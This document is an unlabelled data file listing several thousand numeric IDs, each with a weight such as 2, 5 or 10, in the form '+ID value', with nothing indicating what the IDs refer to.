+9747 10 +9748 10 +9749 10 +9750 10 +9751 10 +9752 10 +9753 10 +9754 10 +9755 10 +9758 10 +9760 3 +9761 5 +9762 5 +9763 2 +9764 1.2 +9766 8 +9767 8 +9768 3 +9769 3 +9770 5 +9771 3 +9772 5 +9773 5 +9774 2 +9775 5 +9776 5 +9777 5 +9778 8 +9779 5 +9781 10 +9782 8 +9783 8 +9784 8 +9785 8 +9786 5 +9787 8 +9788 3 +9789 2 +9790 5 +9791 8 +9792 8 +9793 8 +9794 8 +9796 5 +9797 5 +9798 2 +9799 3 +9800 1.5 +9801 8 +9802 5 +9803 5 +9804 5 +9805 2 +9806 5 +9807 5 +9808 5 +9809 5 +9810 5 +9811 5 +9812 5 +9813 5 +9814 5 +19139 3 +9815 10 +9816 5 +9817 10 +9818 10 +9819 8 +9820 8 +9821 10 +9822 10 +9823 10 +9824 10 +9825 10 +9826 10 +9827 8 +9828 10 +9829 10 +9830 10 +9831 8 +9832 8 +9833 8 +9834 8 +9835 8 +9836 8 +9837 8 +9838 5 +9839 5 +9840 2 +9841 5 +9842 10 +9843 10 +9844 10 +9845 10 +9846 10 +9847 10 +9848 5 +9849 5 +9850 5 +9852 10 +9853 5 +9854 5 +9855 5 +9856 10 +9859 10 +9860 10 +9861 5 +9862 10 +9863 5 +9865 10 +9866 10 +9868 3 +9870 5 +9871 5 +9875 3 +9876 3 +9877 10 +9878 10 +9880 3 +9881 10 +9883 2 +9884 3 +9885 10 +9886 10 +9887 2 +9888 2 +9889 3 +9890 10 +9893 10 +9895 5 +9896 8 +9897 10 +9898 8 +9899 5 +9900 10 +9901 10 +9902 5 +9903 2 +9904 2 +9905 3 +9906 3 +9908 5 +9909 10 +9910 10 +9911 8 +9914 10 +9918 10 +9928 3 +9929 5 +14653 5 +14654 3 +14655 2 +14656 1.5 +14658 1.5 +14660 5 +14661 5 +9930 10 +9931 3 +9932 10 +9933 10 +9934 10 +9935 8 +9936 8 +9937 10 +9938 10 +9939 10 +9940 10 +9941 10 +9943 10 +9944 10 +9945 5 +9946 10 +9947 10 +9948 2 +9949 3 +9950 2 +9951 2 +9952 10 +9953 10 +9954 3 +9955 3 +9956 5 +9957 8 +9958 10 +9959 3 +9960 8 +9961 5 +9962 5 +9963 10 +9964 5 +9965 5 +9966 3 +9967 5 +9968 2 +9969 3 +13175 5 +9970 5 +9971 5 +9972 5 +9973 5 +9974 5 +9975 5 +9976 3 +9977 3 +9978 5 +9979 5 +9980 5 +9981 10 +9982 5 +9983 3 +9984 5 +9985 5 +9986 5 +9987 5 +9988 5 +9989 5 +9990 10 +9993 10 +9994 3 +9995 5 +9996 5 +9997 2 +9998 10 +9999 10 +10000 10 +10001 5 +13165 5 +13166 2 +13167 5 +13168 5 +13169 3 +13170 5 +13171 1.5 +10002 10 +10003 10 +10004 10 +10005 10 +10006 10 +10007 10 +10008 10 +10018 10 +10019 10 +10020 10 +10021 10 +10022 10 +10023 10 +10024 10 +10025 10 +10026 10 +10027 10 +10028 10 +10029 10 +10030 10 +10031 10 +10032 10 +10033 10 +10034 10 +10035 10 +10036 10 +10037 10 +10038 10 +10039 10 +10040 10 +10041 10 +10042 10 +10043 10 +10048 10 +10049 10 +10050 10 +10051 10 +10052 10 +10053 10 +10054 10 +10056 10 +10057 10 +10058 10 +10059 10 +10060 10 +10061 10 +10062 10 +10063 10 +10064 10 +10065 10 +10066 10 +10067 10 +10068 10 +10069 10 +10070 10 +10071 10 +10072 10 +10073 10 +10074 10 +10075 10 +10076 10 +10077 10 +10078 10 +10079 10 +10080 10 +10081 10 +10082 10 +10083 10 +10084 10 +10086 10 +10087 10 +10091 3 +10092 10 +10095 5 +10097 10 +10098 5 +10099 3 +10100 2 +10101 5 +10102 3 +10103 5 +10104 5 +10105 10 +10106 8 +10107 10 +10108 10 +10109 5 +10110 3 +10111 5 +10112 10 +10113 3 +10114 10 +10115 5 +10116 5 +10117 3 +10122 2 +10123 5 +10124 5 +10125 5 +10126 2 +10127 10 +10128 10 +10129 2 +10130 10 +10131 5 +10132 5 +10133 10 +10134 10 +10135 10 +10136 10 +10137 5 +10138 10 +10139 5 +10140 10 +10141 5 +10142 5 +10143 10 +10144 3 +10145 10 +10146 5 +10147 3 +10148 8 +10149 10 +10150 3 +10151 3 +10152 10 +10153 5 +10154 5 +10155 2 +10156 3 +10157 10 +10158 8 +10159 2 +10160 10 +10161 2 +10162 2 +10163 3 +10165 2 +10166 3 +10167 10 +10168 10 +10169 10 +10170 10 +10171 2 +10172 3 +10173 3 +10174 10 +10175 5 +10176 5 +10177 3 +10178 3 +10179 5 +10180 10 +10181 10 +10182 10 +10183 10 +10184 10 +10186 10 +10187 10 +10188 10 +10189 10 +10190 10 +10191 10 +10192 10 +10193 10 +10194 10 +10195 10 +10196 10 +10197 10 +10198 10 +10199 10 +10200 10 +10201 10 +10202 10 +10203 10 +10204 10 +10205 10 +10206 10 +10207 10 +10208 10 +10210 10 +10211 10 +10212 10 +10213 10 +10214 10 +10215 10 +18764 10 +10216 10 +10217 10 +10219 10 +10220 10 +10221 10 +10223 10 +10224 10 +10225 10 +10226 10 +10227 10 +10228 10 +10229 10 +10230 10 +10231 10 +10232 10 +10233 10 +10234 10 +10235 10 +10236 10 +10237 10 +10238 10 +10239 10 +10240 10 +10241 10 +10242 10 +10243 10 +10244 10 +10245 10 +10246 10 +10247 10 +10248 10 +10251 10 +10252 10 +10253 10 +10254 10 +10255 10 +10256 10 +10257 10 +10258 10 +10259 10 +10260 10 +10261 10 +10262 10 +10263 10 +10264 10 +10265 10 +10266 10 +10267 10 +10268 10 +10269 10 +10271 10 +10273 10 +10274 10 +10275 10 +13172 10 +10276 10 +10277 10 +10278 10 +10279 10 +10280 3 +10282 5 +10283 10 +10284 10 +10285 10 +10288 10 +10289 10 +10290 5 +10292 10 +10293 10 +10294 5 +10296 10 +10297 10 +10298 10 +10300 5 +10301 10 +10302 10 +10304 10 +10305 5 +10306 5 +10325 10 +10326 10 +10327 10 +10329 10 +10330 10 +10333 10 +10335 10 +10340 10 +10341 10 +19118 3 +10344 10 +10348 10 +10349 10 +10352 10 +10354 10 +10357 10 +10358 10 +10361 10 +10362 10 +10366 10 +10367 10 +10370 10 +10373 10 +10385 10 +10386 10 +10389 10 +10390 10 +10393 10 +10394 10 +10397 10 +10398 10 +10401 10 +10402 10 +10406 10 +10412 10 +10442 10 +10446 10 +10450 10 +10454 10 +10458 10 +10462 10 +10466 10 +10469 10 +10470 5 +10471 10 +10472 10 +10473 10 +10474 10 +10475 10 +10476 10 +10477 10 +10479 10 +10483 5 +10486 3 +10487 3 +10488 2 +10489 10 +10490 2 +10491 10 +10492 10 +10493 5 +10494 8 +10495 5 +10496 5 +10497 3 +10498 10 +10499 8 +10500 10 +10501 5 +10502 3 +10504 2 +10505 10 +10506 10 +10507 10 +10508 3 +10509 10 +10510 10 +10512 5 +10513 3 +10514 2 +10515 5 +10516 3 +10517 8 +10518 2 +10519 3 +10520 5 +10521 3 +13174 3 +10522 3 +10523 10 +10524 5 +10525 10 +10526 10 +10527 5 +10528 5 +10529 5 +10530 8 +10531 3 +10532 3 +10533 10 +10535 5 +10536 5 +10537 5 +10538 5 +10539 5 +10540 5 +10541 5 +10543 5 +10544 10 +10545 5 +10547 5 +10548 5 +10551 5 +10553 5 +10554 3 +10555 5 +10556 10 +10557 10 +10558 1.5 +10559 10 +10560 10 +10561 2 +10562 2 +10563 8 +10564 5 +10565 3 +10566 5 +10567 5 +10568 5 +10569 3 +10570 5 +10571 5 +10572 5 +10573 3 +10574 3 +10575 5 +10576 10 +10577 5 +10578 10 +10579 3 +10580 10 +10581 10 +10582 10 +10583 3 +10584 3 +10585 5 +10586 10 +10587 5 +10588 5 +10589 3 +10590 5 +10591 5 +10592 8 +10593 3 +10594 5 +10596 10 +10597 5 +10598 10 +10603 10 +10604 10 +10605 5 +10606 10 +10607 5 +10608 5 +10609 10 +10610 2 +10611 5 +10612 8 +10613 8 +10614 5 +10615 5 +10616 3 +10617 10 +10618 2 +10619 5 +13173 10 +11801 10 +11802 10 +11803 10 +11804 10 +11805 10 +11806 10 +11807 10 +11809 10 +11810 10 +11811 10 +11812 10 +11813 10 +11814 10 +11815 10 +11816 10 +11817 10 +11818 10 +11819 10 +11820 10 +11821 10 +11822 10 +11823 10 +11824 2 +11825 10 +11826 10 +11827 10 +11828 10 +11829 10 +11830 10 +11831 10 +11832 10 +11833 10 +11834 10 +11835 10 +11836 10 +11837 10 +11838 10 +11839 10 +11840 10 +11841 10 +11842 10 +11843 10 +11844 10 +11845 10 +11846 2 +11848 2 +11849 2 +11851 2 +11852 2 +11853 10 +11854 10 +11855 10 +11856 10 +11857 10 +11858 10 +11859 10 +11860 10 +11861 10 +11862 10 +11863 2 +11864 10 +11865 10 +11866 10 +11867 10 +11868 10 +11869 10 +11870 10 +11871 10 +11872 10 +11873 10 +11874 10 +11875 10 +11876 10 +11877 10 +11878 10 +11879 10 +11880 10 +11881 10 +11882 10 +11883 10 +11884 10 +11886 10 +11887 10 +11888 10 +11889 10 +11890 10 +11891 10 +11892 10 +11893 3 +11894 5 +11895 3 +11896 5 +11897 5 +11898 2 +11899 10 +11900 2 +11901 3 +11902 5 +11903 2 +11904 3 +11905 5 +11906 2 +11907 5 +11908 3 +11909 2 +11910 5 +11911 5 +11912 5 +11913 5 +11914 5 +11915 5 +11916 5 +11917 5 +11918 5 +11919 5 +11920 5 +11921 5 +11922 5 +11923 5 +11924 2 +11925 5 +11926 5 +11927 5 +11928 5 +11929 5 +11930 5 +11932 10 +11933 10 +11934 5 +11935 5 +11936 5 +11937 5 +11938 5 +19284 5 +11939 5 +11940 5 +11941 5 +11942 3 +11943 3 +11944 5 +11945 5 +11947 5 +11948 5 +11949 5 +11950 5 +11951 5 +11952 5 +11953 5 +11954 5 +11955 3 +19281 5 +11956 5 +11957 5 +11958 5 +11959 5 +11960 5 +11961 5 +11962 2 +11963 5 +11964 5 +11965 3 +11966 10 +11968 5 +11969 5 +11970 2 +11973 3 +11977 3 +11978 3 +11981 10 +11983 2 +19285 1.3 +11985 2 +11986 2 +11987 2 +11988 2 +11989 3 +11990 2 +11991 2 +11993 2 +19277 1.3 +11994 5 +11995 5 +11996 5 +11997 5 +11998 5 +11999 2 +12000 5 +12001 3 +12002 3 +12004 5 +12005 5 +12006 3 +12007 5 +12008 5 +12009 2 +12010 3 +19283 2 +12015 3 +12017 5 +12018 5 +12019 5 +12022 5 +12023 5 +12024 5 +12025 5 +12026 3 +12027 5 +19280 5 +12030 5 +12031 2 +12032 2 +12033 2 +12034 2 +12035 5 +12036 2 +12037 3 +12038 2 +12039 2 +12040 3 +12041 2 +12042 3 +12043 5 +12044 5 +12046 5 +12047 5 +12049 5 +12050 2 +12052 5 +12053 5 +19282 3 +12054 3 +12055 3 +12056 5 +12058 5 +12059 5 +12060 3 +12061 3 +12062 2 +12064 5 +12065 5 +12066 5 +12067 5 +12068 10 +12069 5 +12071 5 +12076 5 +19279 5 +19287 5 +19288 5 +19289 10 +19290 5 +19291 5 +19292 5 +19293 5 +12079 10 +12080 2 +12081 2 +12082 2 +12083 10 +12084 10 +12085 10 +12086 2 +12087 10 +12088 10 +12089 2 +12090 10 +12091 10 +12092 2 +12093 2 +12094 2 +12095 2 +12096 2 +12097 10 +12098 2 +12099 2 +12100 10 +12101 10 +12102 10 +12103 10 +12104 2 +12106 10 +12107 2 +12109 2 +12111 2 +12112 2 +12113 2 +12115 2 +12117 10 +12118 2 +12120 2 +12121 2 +12122 2 +12123 3 +12124 2 +12125 1.3 +18760 10 +12127 10 +12129 3 +12131 10 +12132 5 +12133 2 +12134 2 +12135 2 +12136 10 +12137 5 +12138 10 +12139 2 +12140 2 +12141 2 +12142 2 +12143 10 +12144 2 +12147 2 +12148 10 +12150 10 +12151 2 +12152 2 +12153 10 +12156 10 +12157 10 +12158 10 +12159 10 +12160 10 +12162 10 +12163 2 +12164 10 +12165 5 +12166 2 +12169 5 +12170 10 +12171 10 +12172 10 +12174 10 +12175 2 +12176 10 +12177 10 +12178 10 +12179 10 +12180 10 +12181 10 +12182 10 +12183 10 +12184 10 +12185 10 +12186 2 +12187 2 +12188 10 +12189 10 +12190 5 +12191 10 +12192 10 +12193 5 +12195 2 +12196 10 +12197 3 +12198 3 +12199 10 +12200 10 +12201 10 +12202 10 +12204 10 +12205 2 +12206 10 +12207 3 +12208 5 +12209 2 +12210 2 +12211 10 +12213 10 +12214 10 +12215 10 +12216 10 +12217 10 +12218 10 +12219 5 +12220 10 +12221 3 +12222 10 +12224 2 +12225 10 +12228 2 +12229 2 +12231 2 +12232 10 +12233 3 +12234 2 +12235 10 +12236 2 +12237 2 +12238 10 +12239 2 +12240 10 +12241 10 +12242 10 +12243 10 +12244 10 +12245 2 +12246 2 +12247 10 +12248 10 +12249 2 +12250 10 +12251 10 +12252 10 +12254 10 +12255 10 +12256 10 +12257 10 +12258 10 +12259 10 +12260 2 +12261 2 +12262 2 +12263 10 +12264 10 +12265 10 +12266 2 +12267 2 +12269 10 +12270 10 +12271 10 +12272 10 +12273 10 +12274 10 +12275 10 +12277 10 +12281 10 +12283 10 +12288 10 +12289 10 +12290 10 +12291 5 +12292 10 +12293 3 +12294 10 +12295 5 +12296 5 +12298 10 +12299 10 +12300 3 +12301 3 +12302 10 +12303 5 +12304 10 +12305 10 +12306 10 +12307 10 +12308 10 +12309 2 +12310 2 +12311 2 +12312 10 +12313 2 +12314 2 +12315 2 +12317 2 +12338 5 +12339 5 +12340 5 +12341 2 +12342 10 +12343 10 +12344 2 +12345 10 +12346 10 +12347 10 +12348 10 +12349 10 +12350 10 +12351 10 +12352 10 +12353 10 +12354 3 +12355 10 +12356 10 +12357 10 +12358 10 +12359 10 +12360 10 +12361 10 +12362 10 +12364 10 +12365 2 +12366 10 +12367 2 +12368 10 +12369 10 +12370 2 +12371 10 +12372 5 +12373 2 +12374 10 +12376 2 +12377 2 +12378 10 +12379 2 +12380 10 +12381 10 +12382 10 +12383 10 +12384 2 +12385 10 +12386 10 +12387 2 +12388 10 +12389 10 +12391 10 +12392 10 +12393 10 +12394 10 +12395 10 +12396 10 +12397 10 +12398 10 +12399 10 +12400 2 +12401 10 +12402 10 +12403 10 +12404 10 +12405 10 +12406 10 +12407 10 +12408 10 +12409 10 +12410 10 +12411 10 +12412 10 +12413 10 +12414 10 +12415 10 +12416 10 +12417 10 +12418 10 +12419 10 +12420 10 +12421 10 +12422 10 +12423 10 +12424 5 +12425 10 +12426 10 +12427 10 +12428 10 +12429 10 +12430 10 +12431 2 +12432 10 +12433 10 +19273 10 +12435 2 +12437 3 +12438 2 +12439 2 +12440 2 +12441 2 +12442 2 +12443 2 +12444 2 +12445 2 +12446 2 +12447 2 +12448 2 +12449 2 +12450 2 +12451 2 +12452 2 +12453 2 +12454 2 +12455 2 +12456 2 +12457 2 +12458 2 +12459 2 +12460 2 +12461 2 +12462 2 +12463 2 +12464 2 +12465 3 +12466 2 +12467 2 +12468 2 +12469 2 +12470 2 +12471 2 +12472 2 +12473 3 +12474 2 +12475 2 +12476 2 +12477 3 +12478 2 +12480 2 +12481 2 +12482 2 +12483 2 +12484 3 +12485 3 +12486 3 +12487 5 +12488 2 +12489 2 +12490 2 +12491 2 +12492 2 +12493 2 +12495 2 +12496 2 +12497 2 +12498 2 +12499 2 +12500 2 +12501 2 +12502 2 +12503 2 +12504 2 +12505 2 +12506 3 +12507 2 +12508 2 +12509 2 +12510 2 +12511 2 +12512 2 +12513 3 +12514 2 +12515 2 +12516 2 +12517 2 +12518 2 +12519 2 +12520 2 +12522 2 +12523 2 +12524 10 +12525 3 +12526 2 +12527 2 +12528 2 +12529 5 +12530 10 +12531 2 +12532 2 +12533 10 +12534 2 +12535 2 +12536 2 +12537 2 +12538 2 +12539 2 +12540 2 +12541 2 +12542 3 +12543 2 +12544 8 +12545 3 +12546 2 +12547 10 +12548 2 +12549 2 +12550 2 +12551 2 +12552 5 +12553 2 +12554 2 +12555 10 +12556 10 +12557 10 +12558 2 +12559 2 +12560 2 +12561 2 +12562 2 +12563 10 +12564 10 +12565 5 +12566 10 +12567 2 +12568 2 +12570 2 +12571 2 +12572 3 +12573 5 +12574 10 +12575 10 +12576 10 +12577 2 +12578 2 +12579 2 +12580 10 +12581 2 +12582 2 +12583 5 +12584 10 +12585 10 +12586 10 +12587 5 +12589 5 +12590 5 +12591 5 +12592 5 +12593 5 +12594 5 +12595 5 +12596 5 +12597 5 +12598 5 +12599 10 +14760 5 +14761 10 +14762 10 +14763 2 +14764 8 +14771 5 +14772 5 +14773 3 +14774 2 +14775 5 +14776 3 +14777 5 +14778 3 +14779 3 +14780 5 +14781 3 +14782 5 +14783 5 +14784 10 +14785 10 +14786 5 +14787 2 +14788 2 +14789 5 +14790 5 +14791 2 +14792 5 +14793 3 +14794 2 +14795 3 +14796 3 +14797 1.3 +14798 5 +14799 2 +14800 2 +14801 5 +14802 2 +14803 3 +14804 3 +14805 5 +14806 3 +14807 3 +14809 2 +14810 2 +14811 5 +14812 5 +14813 2 +14814 3 +14815 5 +14816 3 +14817 5 +14818 5 +14819 3 +14820 3 +14821 5 +14822 3 +14823 3 +14824 5 +14825 3 +14826 2 +14827 5 +14828 3 +14829 2 +14830 3 +14831 3 +14834 5 +14835 3 +14836 5 +14837 2 +14838 2 +14839 3 +14840 5 +14841 3 +14842 3 +14843 2 +14844 3 +14845 2 +14846 2 +14847 3 +14848 2 +14849 2 +14850 5 +14851 5 +14852 5 +14853 2 +14854 2 +14855 3 +14856 3 +14857 2 +14858 2 +14859 2 +14861 2 +14862 2 +14863 2 +14864 5 +14865 3 +14866 3 +14867 5 +14868 3 +14869 2 +14870 5 +14871 5 +14872 3 +14873 5 +14874 5 +14875 5 +14876 5 +14877 5 +14878 5 +14886 2 +14890 5 +14897 3 +14898 2 +14899 3 +14900 3 +14901 5 +14902 5 +14904 5 +14905 5 +14906 5 +14907 2 +14908 5 +14909 3 +14919 2 +14920 2 +14922 5 +14924 3 +14925 5 +14930 5 +14931 3 +14949 2 +14950 2 +14951 2 +14952 2 +14953 2 +14954 2 +14955 2 +14956 2 +14957 2 +14958 2 +14959 2 +14960 2 +14961 3 +14962 2 +14963 2 +14964 2 +14965 2 +15000 2 +15001 3 +15002 2 +15004 2 +15005 1.3 +15006 1.3 +15007 1.3 +15008 1.5 +15009 1.5 +15010 1.5 +15011 1.5 +15012 1.3 +15013 1.5 +15014 1.3 +15015 2 +15017 1.5 +15018 1.5 +15019 2 +15020 2 +15021 2 +15022 1.5 +15023 1.5 +15024 1.5 +15025 1.3 +15026 2 +15027 3 +15028 3 +15029 2 +15030 3 +15031 2 +15032 2 +15033 10 +15034 2 +15035 2 +15036 2 +15038 2 +15039 3 +15040 3 +15041 2 +15042 1.5 +15043 2 +15044 3 +15045 1.5 +15046 2 +15047 2 +15048 2 +15049 3 +15050 1.5 +15051 2 +15052 2 +15053 2 +15054 2 +15055 3 +15056 5 +15057 5 +15058 5 +15059 2 +15060 3 +15061 2 +15062 2 +15063 1.5 +15064 1.3 +15065 3 +15066 2 +15067 2 +15068 1.5 +15069 1.5 +15070 2 +15071 1.5 +15072 1.3 +15073 1.5 +15074 2 +15075 2 +15076 2 +15077 2 +15078 2 +15079 2 +15080 2 +15081 2 +15082 2 +15117 10 +15118 2 +15119 5 +15120 2 +15121 5 +15122 3 +15123 2 +15124 3 +15125 3 +15126 3 +15127 5 +15128 5 +15129 10 +15130 10 +15131 10 +15132 5 +15133 3 +15134 5 +15135 5 +15136 10 +15137 10 +15138 5 +15139 5 +15140 10 +15141 5 +15142 5 +15143 3 +15144 5 +15145 5 +15146 5 +15156 5 +15157 5 +15158 3 +15159 10 +15160 5 +15161 10 +15162 10 +15165 2 +15166 3 +15167 3 +15168 2 +15169 5 +15170 3 +15175 5 +15176 5 +15177 5 +15178 5 +15179 5 +15180 3 +15189 10 +15190 10 +15191 2 +15192 10 +15193 10 +15194 5 +15195 5 +15196 5 +15197 10 +15198 5 +15199 10 +15200 10 +15201 5 +15202 5 +15203 10 +15204 2 +15205 5 +15206 5 +15207 5 +15208 5 +15209 10 +15210 3 +15211 10 +15212 5 +15213 5 +15214 10 +15215 5 +15216 5 +15217 5 +15218 10 +15219 10 +15220 10 +15221 10 +15222 10 +15223 5 +15224 2 +15225 5 +15226 5 +15227 5 +15228 5 +15229 2 +15230 5 +15231 10 +15232 5 +15233 10 +15234 5 +15235 5 +15236 5 +15237 10 +15238 5 +15239 5 +15240 10 +15241 10 +15242 5 +15243 10 +15244 10 +15246 5 +15247 5 +15248 3 +15249 3 +15253 5 +15254 5 +15256 5 +15257 2 +15258 5 +15259 2 +15260 5 +15261 5 +15262 5 +15263 5 +15264 5 +15265 2 +15266 5 +15267 5 +15268 5 +15269 2 +15281 5 +15286 10 +15287 3 +15288 5 +15289 5 +15290 5 +15291 5 +15292 2 +15293 10 +15294 3 +15295 5 +15297 5 +15298 5 +15299 10 +15300 3 +15301 5 +15302 10 +15303 10 +15304 3 +15305 2 +15306 3 +15307 5 +15308 5 +15309 3 +15310 5 +15312 5 +15313 2 +15314 2 +15315 5 +15316 5 +15317 2 +15318 10 +15320 10 +15321 5 +15322 5 +15323 10 +15324 2 +15325 10 +15326 3 +15327 3 +15328 5 +15329 5 +15330 5 +15331 5 +15334 5 +15344 5 +15345 3 +15350 5 +15354 10 +15373 2 +15374 2 +15375 2 +15376 5 +15377 2 +15378 2 +15379 2 +15380 5 +15381 3 +15382 2 +15383 2 +15384 2 +15385 2 +15386 2 +15387 5 +15388 1.3 +15389 5 +15390 10 +15391 1.3 +15392 1.3 +15393 5 +15394 2 +15395 3 +15396 5 +15397 2 +15398 10 +15399 5 +15400 2 +15401 10 +15402 2 +15403 2 +15404 2 +15405 2 +15406 2 +15407 2 +15408 2 +15409 2 +15410 2 +15411 2 +15412 2 +15413 2 +15414 2 +15415 2 +15416 2 +15417 2 +15418 2 +15419 2 +15420 2 +15421 2 +15422 2 +15423 2 +15446 2 +15425 2 +15426 2 +15427 2 +15428 2 +15429 2 +15430 2 +15431 2 +15432 2 +15433 2 +15440 2 +15441 2 +15442 2 +15443 2 +15444 2 +15445 2 +15448 2 +15449 2 +15450 2 +15451 2 +15452 2 +15453 2 +15454 2 +15455 2 +15457 2 +15458 2 +15460 1.3 +15462 2 +15463 2 +15464 2 +15466 2 +15467 2 +15469 2 +15518 3 +15519 3 +15520 2 +15521 2 +15522 2 +15523 2 +15524 2 +15525 2 +15526 2 +15527 2 +15528 3 +15529 2 +15530 2 +15531 2 +15532 2 +15533 2 +15534 2 +16179 5 +16180 3 +16181 10 +16182 5 +16183 5 +16184 10 +16185 5 +16186 5 +16187 10 +16188 5 +16189 5 +16190 5 +16191 5 +16164 5 +16165 5 +16166 5 +16167 5 +16168 2 +16169 10 +16170 5 +16171 5 +16172 5 +16174 5 +16175 8 +16176 8 +16177 5 +16159 10 +16160 10 +16161 10 +16162 10 +16163 10 +16197 8 +16198 5 +16199 5 +16200 5 +16201 8 +16203 5 +16204 5 +16205 10 +16206 8 +16207 10 +16208 5 +16211 5 +16212 10 +16213 10 +16214 10 +16215 5 +16216 5 +16217 10 +16218 10 +16219 10 +16221 5 +16290 5 +16291 5 +16292 5 +16293 5 +16294 5 +16295 5 +16296 10 +16297 2 +16314 5 +16315 5 +16316 5 +16317 2 +16319 5 +16320 2 +16321 2 +16322 5 +16323 5 +16324 2 +16325 5 +16326 5 +16331 2 +16332 2 +16333 5 +16334 5 +16335 5 +16337 2 +16338 2 +16339 5 +16340 10 +16341 2 +16342 10 +16343 10 +16344 5 +16345 2 +16346 5 +16348 5 +16349 5 +16350 5 +16351 5 +16358 5 +16360 5 +16361 2 +16362 5 +16363 2 +16364 2 +16365 2 +16366 5 +16367 5 +16369 10 +16371 5 +16372 2 +16373 5 +16374 5 +16375 5 +16376 5 +16377 2 +16378 5 +16379 5 +16380 5 +16381 5 +16382 2 +16383 5 +16384 5 +16385 5 +16386 5 +16387 5 +16388 5 +16389 5 +16390 5 +16391 5 +16392 5 +16393 5 +16394 5 +16395 5 +16396 5 +16397 2 +16398 5 +16400 5 +16401 5 +16402 5 +16403 5 +16404 2 +16405 2 +16406 5 +16408 5 +16409 5 +16410 10 +16411 5 +16412 10 +16413 10 +16414 5 +16415 5 +16416 5 +16417 5 +16418 5 +16419 5 +16420 5 +16421 2 +16422 5 +16423 5 +16424 2 +16425 5 +16426 5 +16430 5 +16431 10 +16432 5 +16433 5 +16434 5 +16435 10 +16436 5 +16437 5 +16438 10 +16439 5 +16440 10 +16442 5 +16443 5 +16444 5 +16445 5 +16446 5 +16447 5 +16449 5 +16453 5 +16455 10 +16456 5 +16457 5 +16459 5 +16465 10 +16466 5 +16467 5 +16468 10 +16469 10 +16470 10 +16471 10 +16472 10 +16473 10 +16474 10 +16476 10 +16477 10 +16478 5 +16480 10 +16482 5 +16483 5 +16484 10 +16485 10 +16486 10 +16487 10 +16488 5 +16489 10 +16490 10 +16491 10 +16492 10 +16493 10 +16494 10 +16495 10 +16496 10 +16498 5 +16499 10 +16520 5 +16521 5 +16522 3 +16523 3 +16524 5 +16525 5 +16526 5 +16527 5 +16528 10 +16529 5 +16530 5 +16531 5 +16532 5 +16533 5 +16534 5 +16535 5 +16536 5 +16537 10 +16553 10 +16554 5 +16555 10 +16557 5 +16558 5 +16559 5 +16560 5 +16561 2 +16562 5 +16563 3 +16564 5 +16565 5 +16566 5 +16567 5 +16568 5 +16569 5 +16570 5 +16571 3 +16572 5 +16573 5 +16574 5 +16575 5 +16576 10 +16577 5 +16578 5 +16579 5 +16581 5 +16582 5 +16583 10 +16584 5 +16585 5 +16586 5 +16587 3 +16589 10 +16590 10 +16591 5 +16592 5 +16593 10 +16594 5 +16595 10 +16597 10 +16598 10 +16599 5 +16600 5 +16601 5 +16602 5 +16603 5 +16604 10 +16605 5 +16612 5 +16613 5 +16614 10 +16615 5 +16616 5 +16617 5 +16618 5 +16619 5 +16620 10 +16621 10 +16622 5 +16623 5 +16624 5 +16625 5 +16626 5 +16627 5 +16628 5 +16629 5 +16630 5 +16631 10 +16633 5 +16634 10 +16635 5 +16636 10 +16637 10 +16638 5 +16639 10 +16640 10 +16641 5 +16642 10 +16643 5 +16644 10 +16645 10 +16646 5 +16647 10 +16648 5 +16649 5 +16650 5 +16652 5 +16653 5 +16654 5 +16655 5 +16656 5 +16657 5 +16658 10 +16659 5 +16660 5 +16661 5 +16662 5 +16664 10 +16665 8 +16666 10 +16667 10 +16668 10 +16669 10 +16670 10 +16671 10 +16672 10 +16673 10 +16674 10 +16675 10 +16678 5 +16679 5 +16680 5 +16683 5 +16685 5 +16687 5 +16688 5 +16689 5 +16690 5 +16691 5 +16693 5 +16694 5 +16695 5 +16696 5 +16697 5 +16698 5 +16699 5 +16700 5 +16701 5 +16702 5 +16704 5 +16705 5 +19297 5 +16728 5 +16730 5 +16732 5 +16796 3 +16797 5 +16798 3 +16799 5 +16800 5 +16801 5 +16802 5 +16803 5 +16804 5 +16805 5 +16806 5 +16807 10 +16808 3 +16809 5 +16810 3 +16811 5 +16813 5 +16815 5 +16818 5 +16824 5 +16826 5 +16868 5 +16869 5 +16870 8 +16871 5 +16872 5 +16873 5 +16874 5 +16875 5 +16876 5 +16877 5 +16878 5 +19275 8 +16880 3 +16881 3 +16882 5 +16883 10 +16884 5 +16885 5 +16886 5 +16887 8 +16888 2 +16889 3 +16890 3 +16891 3 +16892 5 +16893 5 +16894 3 +16895 5 +16897 5 +16898 5 +16903 2 +16904 3 +16905 5 +16906 2 +16907 2 +16908 2 +16909 2 +16910 2 +16911 2 +16912 2 +16913 2 +16914 2 +16915 2 +16916 2 +16917 5 +16918 2 +16919 2 +16920 3 +16921 2 +16922 3 +16923 2 +16924 5 +16926 2 +16927 3 +16928 2 +16929 3 +16930 2 +16931 2 +16933 5 +16934 10 +16935 2 +16936 10 +16937 2 +16938 5 +19274 3 +16943 5 +16944 5 +16945 2 +16946 2 +16948 5 +16949 2 +16950 5 +16951 5 +16952 3 +16953 2 +16954 5 +16955 2 +16957 5 +16958 5 +16959 2 +16960 3 +16963 5 +16964 5 +16966 5 +16967 5 +16968 2 +16969 5 +16970 2 +16971 2 +18056 3 +18057 5 +18059 3 +18060 5 +18061 5 +18062 2 +18063 2 +18064 2 +18065 3 +18066 5 +18067 10 +18068 3 +18069 2 +18070 2 +18071 5 +18072 5 +18073 2 +18074 5 +18075 5 +18076 5 +18077 5 +18078 5 +18079 3 +18080 3 +18081 10 +18082 2 +17013 10 +17014 5 +17015 5 +17016 1.3 +17017 10 +17019 5 +17020 10 +17022 10 +17023 5 +17024 5 +17025 5 +17026 5 +17027 5 +17028 5 +17029 5 +17030 5 +17031 10 +17032 5 +17033 5 +17034 5 +17035 5 +17036 5 +17037 5 +17038 5 +17039 5 +17040 10 +17041 5 +17042 5 +17043 5 +17044 5 +17045 5 +17046 5 +17047 10 +17048 5 +17049 5 +17050 10 +17051 5 +17052 5 +17053 5 +17055 5 +17056 5 +17057 5 +17058 5 +17059 3 +17060 5 +17061 5 +17062 5 +17065 5 +17086 3 +17067 5 +17068 5 +17069 5 +17070 5 +17071 5 +17072 5 +17073 5 +17074 3 +17075 2 +17076 3 +17077 10 +17078 5 +17079 5 +17080 5 +17081 5 +17082 5 +17083 5 +17084 5 +17085 2 +17087 3 +17088 10 +17089 10 +17090 5 +17091 5 +17092 5 +17093 5 +17094 5 +17095 5 +17096 2 +17097 5 +17098 3 +17099 3 +17100 3 +17101 3 +17102 3 +17103 3 +17104 2 +17105 5 +17106 1.3 +17107 5 +17108 10 +17109 5 +17110 5 +17111 10 +17112 10 +17113 5 +17114 5 +17115 5 +17116 5 +17117 5 +17118 5 +17119 3 